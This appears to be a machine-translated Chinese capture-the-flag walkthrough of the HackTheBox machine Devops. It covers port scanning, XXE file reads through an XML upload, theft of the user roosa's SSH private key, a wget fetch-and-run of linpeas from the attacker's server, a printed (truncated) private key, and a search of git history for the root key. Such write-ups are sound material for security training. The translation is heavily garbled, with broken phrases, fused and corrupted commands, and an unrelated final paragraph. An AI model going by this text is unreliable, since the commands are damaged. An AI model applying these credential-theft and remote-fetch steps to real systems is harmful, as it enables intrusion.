Devops是HackTheBox上的一台退役机器。这篇文章是对导致根shell的方法学的一次演练。
Devops是HackTheBox上的一台中等级别的退役机器,也出现在OSCP prep的TJ空列表中。
#TCP端口扫描映射-Pn-sT-p---nmap/TCP#U端口扫描$IP上的最小速率10000---端口状态服务#22/TCP开放ssh#5000/TCP开放upnp#50627/TCP过滤未知#UDP端口扫描映射-特权-Pn-sU-p---nmap/UDP#U端口扫描$IP上的最小速率10000---
没有打开UDP端口。现在,我们在打开的TCP端口上执行服务枚举、版本检测和脚本扫描。
#TCP脚本scannmap-Pn-sT-A-p 22500050627-oN nmap/TCP#u script#u scan$IP#端口状态服务版本#22/TCP open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2。4#5000/tcp打开http Gunicorn 19.7.1#50627/tcp关闭未知
有了这些服务及其版本,我们可以使用searchsploit搜索任何可用的漏洞。
ffuf-u http://$IP:5000/FUZZ-w$COMMON_DIRS-e。php,。txt,。html-t 500-ic-rate 1000-r-c | tee ffuf/common_dirs。txt#feed[状态:200,大小:546263,单词:6030,行数:1816]#上传[状态:200,大小:347,单词:44,行数:1]ffuf-u http://$IP:5000/FUZZ-w$MEDIUM_DIRS-e。php,。txt,。html-t 500-ic-rate 1000-r-c | tee ffuf/medium_dirs。txt#feed[状态:200,大小:546263,单词:6030,行数:1816]#上传[状态:200,大小:347,单词:44,行数:1]
abc。xml已经上传到服务器上的/home/roosa/deploy/src,现在可以在10.10.10.91:5000/uploads/abc访问。xml
当我们看到XML时,XXE的余烬在我们心中点燃。让';让我们把余烬扇成火焰。如果你没有';I don’我不知道XXE注射是什么,请查看这个post-portswigger。net/web安全/xxe。
答对 了现在,那';这是我们都知道和喜爱的XXE注射。它';s在上图中被裁剪,但如果向下滚动,我们将在/etc/passwd-roosa:x:1002:1002:,,:/home/roosa:/bin/bash中找到一个roosa条目
既然我们知道XXE是有效的,我';我强烈建议你在继续写这篇文章之前,先真诚地尝试一下自己使用用户shell。
既然我们能够读取服务器上的文件,那就让';让我们有点雄心勃勃,试着阅读roosa的文件';这是主目录。因为SSH端口是开放的,所以roosa';s id_rsa私钥文件似乎是一个很好的目标。让';让我们尝试读取以下文件-
我们可以和用户一起过滤它们。xml和id_rsa。xml,如下所示。您只需将/etc/passwd更改为相应的用户即可。txt和id_rsa路径。
纳伊奇!我们得到了roosa';s ssh私钥。让';让我们把它复制到本地机器roosa_id_rsa上的一个文件中
#由于ssh不接受私钥文件CHMOD 600 roosa_id_rsash-i roosa_id_rsa roosa@$ip的松散权限
让';让我们在本地机器上启动一个HTTP服务器来托管有用的二进制文件&;像linpeas这样的脚本。我们将下载它并在Devops服务器上运行。
#在localpython3-mhttp上。服务器1337——目录=/home/bob/Code/HTB/bins#onremoteroosa@gitter:/tmp$cd/tmp;roosa@gitter:/tmp$wgethttp://10.10.15.15:1337/linux/privesc/linpeas.sh; roosa@gitter:/tmp$chmod+x linpeas。sh;roosa@gitter:/tmp$/豌豆。sh>;豌豆。txt&;
#tcp端口631已打开,但只能从DevOps服务器访问#请注意,我们最初的nmap扫描没有显示此端口tcp 0 0 127.0.0.1:631 0.0.0:*请注意-
端口631由Internet打印协议(IPP)使用。从经验来看,它';不是特权升级的攻击向量。不过,他指出。
#root用户可以通过ssh登录,但必须使用有效的私钥PermitroLogin禁止密码PubkeyAuthentication yes PermitryPasswords no
这种攻击向量似乎是有希望的。我们需要留意根';s ssh私钥。
#roosa和#39中的有趣文件;s主目录/home/roosa/deploy/resources/integration/authcredentials。key/home/roosa/work/blogfeed/resources/integration/authcredentials。key/home/roosa/work/blogfeed/。gitroosa@gitter:~$cat/home/roosa/deploy/resources/integration/authcredentials。密钥------开始RSA私钥------miiepqibakcaqeapC7idlmqhm4qdf2d8mfjiw40uickqx/cvxPZX0XunSLD8veNouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE。。。T3Sd/6NWVZI1FO16KJHRGRQWB6BCDXEYXG508HZIKOWYMN0AA2ST8A8YS6JIOOGBU34EZQLP7ORU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=----结束RSA私钥-----roosa@gitter:~$cat/home/roosa/work/blogfeed/resources/integration/authcredentials。密钥------开始RSA私钥------miiepqibakcaqeapC7idlmqhm4qdf2d8mfjiw40uickqx/cvxPZX0XunSLD8veNouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE。。。T3Sd/6NWVZI1FO16KJHRGRQWB6BCDXEYXG508HZIKOWYMN0AA2ST8A8YS6JIOOGBU34EZQLP7ORU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=----结束RSA私钥-----
它们都是相同的,可以是根#39;s ssh私钥。让';让我们创建一个root_id_rsa文件,并尝试通过ssh以root身份登录。
#由于ssh不接受私钥文件的松散权限CHMOD 600 root_id_rsash-i root_id_rsa root@$ip
娜达!那没有';不行。尽管提供了ssh私钥,但它仍会提示输入根密码。
现在,root ssh登录似乎很有可能,我';我强烈建议你在继续写这篇文章之前,先诚恳地尝试一下自己的本源。
/home/roosa/work/blogfeed/似乎是一个git存储库,因为它有一个。git目录。让';让我们来看看提交历史,看看过去有趣的文件。
roosa@gitter:~/work/blogfeed$git logcommit 7ff507d029021b0915235ff91e6a74ba33009c6dautor:Roosa Hakkerson<;[email protected]>;日期:2018年3月26日星期一06:13:55-0400使用Base64装载腌菜饲料提交26AE6C8668995B2F09BF9E2809C36B156207BFA8作者:Roosa Hakkerson<;[email protected]>;日期:2018年3月20日星期二15:37:00-0400设置PIN以加快调试速度,因为它不再在每次更改应用程序代码时更改。记得在生产使用前移除。提交CEC54D8CB6117FD7F164DB142F0348A74D3E9A70作者:Roosa Hakkerson<;[email protected]>;日期:2018年3月20日星期二15:08:09-增加了0400调试支持,使开发更加灵活。提交CA3E768F2434511E75BD513759385BD38E1B1C2作者:Roosa Hakkerson<;[email protected]>;日期:2018年3月20日星期二08:38:21-0400 Blogfeed应用程序,初始版本。提交DFEBFDFD9146C98432D19E3F7D83CC5F3ADBFE94作者:Roosa Hakkerson<;[email protected]>;日期:2018年3月20日星期二08:37:56-0400 Gunicorn创业脚本提交33E87C312C08735A02FA9C796021A4A3023129作者:Roosa Hakkerson<;[email protected]>;日期:2018年3月19日星期一09:33:06-0400使用正确的密钥提交恢复意外提交D387ABF63E05C9628A59195CEC9311751BDB283Fautor:Roosa Hakkerson<;[email protected]>;日期:2018年3月19日星期一09:32:03-0400从tnerprise backendcommit 1422E5A04D1B52A44E6DC81023420347E257EE5Fautor添加feed集成键:Roosa Hakkerson<;[email protected]>;日期:2018年3月19日星期一09:24:30-0400首次提交
commit 33e87c312c08735a02fa9c796021a4a3023129ad的提交消息读取';使用正确的密钥';还原了意外提交;。让';让我们看看这些证书。提交中的密钥文件。
它';都一样';假';我们之前找到的私钥。如果这是承诺';使用正确的密钥恢复了意外提交';,让';让我们看看这些证书。上一次提交中的密钥文件d387abf63e05c9628a59195cec9311751bdb283f
通常,我们在运行nmap UDP扫描或一些自定义TCP扫描时使用sudo,因为它们需要权限来监听网络接口、制作原始数据包等。但是,使用sudo并不理想。相反,我们可以将所需的确切功能授予nmap二进制文件,从而避免每次都使用sudo。